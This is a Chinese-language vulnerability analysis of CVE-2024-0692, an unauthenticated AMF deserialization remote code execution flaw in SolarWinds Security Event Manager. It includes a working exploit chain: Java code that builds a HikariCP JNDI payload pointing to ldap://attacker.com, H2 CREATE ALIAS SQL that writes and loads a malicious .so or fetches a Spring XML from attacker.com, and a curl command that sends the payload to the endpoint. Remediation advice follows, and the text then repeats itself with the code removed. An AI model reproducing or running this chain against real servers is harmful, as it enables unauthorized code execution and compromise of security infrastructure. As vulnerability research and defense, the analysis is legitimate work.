SolarWinds Security Event Manager AMF 反序列化 RCE (CVE-2024-0692)
字数 1558 2025-08-05 12:50:33

SolarWinds Security Event Manager AMF 反序列化 RCE (CVE-2024-0692) 技术分析

漏洞概述

SolarWinds Security Event Manager 存在 AMF (Action Message Format) 反序列化远程代码执行漏洞 (CVE-2024-0692)。攻击者可通过构造恶意 AMF 数据包,在未授权情况下实现远程代码执行。

漏洞分析

1. AMF 反序列化基础

AMF (Action Message Format) 是一种基于 setter/getter 的二进制序列化协议:

  • 反序列化过程会调用指定类的公共无参构造方法
  • 然后通过 setter 方法恢复相关字段
  • 与 Java 原生反序列化不同,AMF 不依赖 readObject 方法

2. 漏洞成因

SolarWinds Security Event Manager 使用了 Apache Flex BlazeDS 4.7.3,存在以下问题:

  1. 不安全的 AMF 端点

    • https://{server.name}:8443/services/messagebroker/amf (SecureAMFEndpoint)
    • https://{server.name}:8443/services/messagebroker/streamingamf (ManagedSecureStreamingAmfEndpoint)
  2. 宽松的反序列化策略

    • services-config.xml 中配置了 ClassDeserializationValidator
    • allow-classes 设置为 .*,允许反序列化任意类
  3. 无鉴权措施

    • 直接 POST AMF 数据并设置 Content-Type: application/amf 即可触发反序列化

3. 漏洞利用链

利用链分为两个阶段:

第一阶段:HikariCP JNDI 注入

HikariConfig config = new HikariConfig();
Field f = HikariConfig.class.getDeclaredField("metricRegistry");
f.setAccessible(true);
f.set(config, "ldap://attacker.com/x");

通过设置 metricRegistry 属性触发 JNDI 注入。

第二阶段:受限的 H2 JDBC RCE

由于目标环境为 Java 17,传统反序列化利用受限,转而使用 H2 数据库的 JDBC 连接功能实现 RCE。

方法一:文件写入 + System.load
  1. 利用 H2 的 CREATE ALIAS 功能调用外部方法
  2. 分块写入恶意 .so 文件
  3. 加载动态链接库执行命令

关键 SQL 语句:

CREATE ALIAS CREATE_FILE FOR 'java.io.File.createTempFile(java.lang.String, java.lang.String)'
CREATE ALIAS WRITE_FILE FOR 'org.apache.commons.io.FileUtils.writeByteArrayToFile(java.io.File, byte[], boolean)'
CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'
CREATE ALIAS INVOKE_STATIC_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeExactStaticMethod(java.lang.Class, java.lang.String, java.lang.Object)'
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'

SET @file=CREATE_FILE('test', '.so')
CALL WRITE_FILE(@file, X'...', TRUE)  -- 分块写入
SET @path=INVOKE_METHOD(@file, 'getAbsolutePath', NULL)
SET @clazz=CLASS_FOR_NAME('java.lang.System')
CALL INVOKE_STATIC_METHOD(@clazz, 'load', @path)
方法二:ClassPathXmlApplicationContext
  1. 托管恶意 Spring XML 配置文件
  2. 通过 H2 调用 ClassPathXmlApplicationContext 加载
  3. 利用 Spring XML 的 ProcessBuilder 初始化执行命令

关键 SQL 语句:

CREATE ALIAS INVOKE_CONSTRUCTOR FOR 'org.apache.commons.beanutils.ConstructorUtils.invokeConstructor(java.lang.Class, java.lang.Object)'
CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'
CREATE ALIAS URI_CREATE FOR 'java.net.URI.create(java.lang.String)'
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'

SET @uri=URI_CREATE('http://attacker.com/exp.xml')
SET @xml_url_obj=INVOKE_METHOD(@uri, 'toString', NULL)
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext')
CALL INVOKE_CONSTRUCTOR(@context_clazz, @xml_url_obj)

漏洞复现

环境准备

  1. 下载 SolarWinds Security Event Manager 安装包 (OVA 格式)
  2. 导入 VMware 虚拟机
  3. 获取源码路径:lem 分区的 contego 目录

利用步骤

  1. 生成 AMF 反序列化 payload:
// 使用 HikariCP JNDI 注入
HikariConfig config = new HikariConfig();
Field f = HikariConfig.class.getDeclaredField("metricRegistry");
f.setAccessible(true);
f.set(config, "ldap://attacker.com/x");

// 序列化为 AMF 格式
MessageBody body = new MessageBody();
body.setData(config);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
byte[] amfData = out.toByteArray();
  1. 启动 JNDI 服务器托管恶意 H2 JDBC 连接字符串

  2. 发送恶意请求:

curl https://target:8443/services/messagebroker/streamingamf \
  -k \
  -H "Content-Type: application/amf" \
  --data-binary @payload.amf

修复建议

  1. 更新到最新版本
  2. 修改 services-config.xml,限制可反序列化的类:
    <validators>
      <validator class="flex.messaging.validators.ClassDeserializationValidator">
        <properties>
          <allow-classes>
            <class name="flex.messaging.messages.*"/>
            <!-- 仅允许必要的类 -->
          </allow-classes>
        </properties>
      </validator>
    </validators>
    
  3. 对 AMF 端点实施身份验证

总结

该漏洞利用链复杂但有效,结合了:

  1. AMF 反序列化漏洞
  2. HikariCP JNDI 注入
  3. H2 数据库的 JDBC 功能
  4. 多种绕过 Java 17 限制的技术

特别需要注意 Java 高版本环境下反序列化利用的限制和绕过方法。

SolarWinds Security Event Manager AMF 反序列化 RCE (CVE-2024-0692) 技术分析 漏洞概述 SolarWinds Security Event Manager 存在 AMF (Action Message Format) 反序列化远程代码执行漏洞 (CVE-2024-0692)。攻击者可通过构造恶意 AMF 数据包,在未授权情况下实现远程代码执行。 漏洞分析 1. AMF 反序列化基础 AMF (Action Message Format) 是一种基于 setter/getter 的二进制序列化协议: 反序列化过程会调用指定类的公共无参构造方法 然后通过 setter 方法恢复相关字段 与 Java 原生反序列化不同,AMF 不依赖 readObject 方法 2. 漏洞成因 SolarWinds Security Event Manager 使用了 Apache Flex BlazeDS 4.7.3,存在以下问题: 不安全的 AMF 端点 : https://{server.name}:8443/services/messagebroker/amf (SecureAMFEndpoint) https://{server.name}:8443/services/messagebroker/streamingamf (ManagedSecureStreamingAmfEndpoint) 宽松的反序列化策略 : services-config.xml 中配置了 ClassDeserializationValidator 但 allow-classes 设置为 .* ,允许反序列化任意类 无鉴权措施 : 直接 POST AMF 数据并设置 Content-Type: application/amf 即可触发反序列化 3. 漏洞利用链 利用链分为两个阶段: 第一阶段:HikariCP JNDI 注入 通过设置 metricRegistry 属性触发 JNDI 注入。 第二阶段:受限的 H2 JDBC RCE 由于目标环境为 Java 17,传统反序列化利用受限,转而使用 H2 数据库的 JDBC 连接功能实现 RCE。 方法一:文件写入 + System.load 利用 H2 的 CREATE ALIAS 功能调用外部方法 分块写入恶意 .so 文件 加载动态链接库执行命令 关键 SQL 语句: 方法二:ClassPathXmlApplicationContext 托管恶意 Spring XML 配置文件 通过 H2 调用 ClassPathXmlApplicationContext 加载 利用 Spring XML 的 ProcessBuilder 初始化执行命令 关键 SQL 语句: 漏洞复现 环境准备 下载 SolarWinds Security Event Manager 安装包 (OVA 格式) 导入 VMware 虚拟机 获取源码路径: lem 分区的 contego 目录 利用步骤 生成 AMF 反序列化 payload: 启动 JNDI 服务器托管恶意 H2 JDBC 连接字符串 发送恶意请求: 修复建议 更新到最新版本 修改 services-config.xml ,限制可反序列化的类: 对 AMF 端点实施身份验证 总结 该漏洞利用链复杂但有效,结合了: AMF 反序列化漏洞 HikariCP JNDI 注入 H2 数据库的 JDBC 功能 多种绕过 Java 17 限制的技术 特别需要注意 Java 高版本环境下反序列化利用的限制和绕过方法。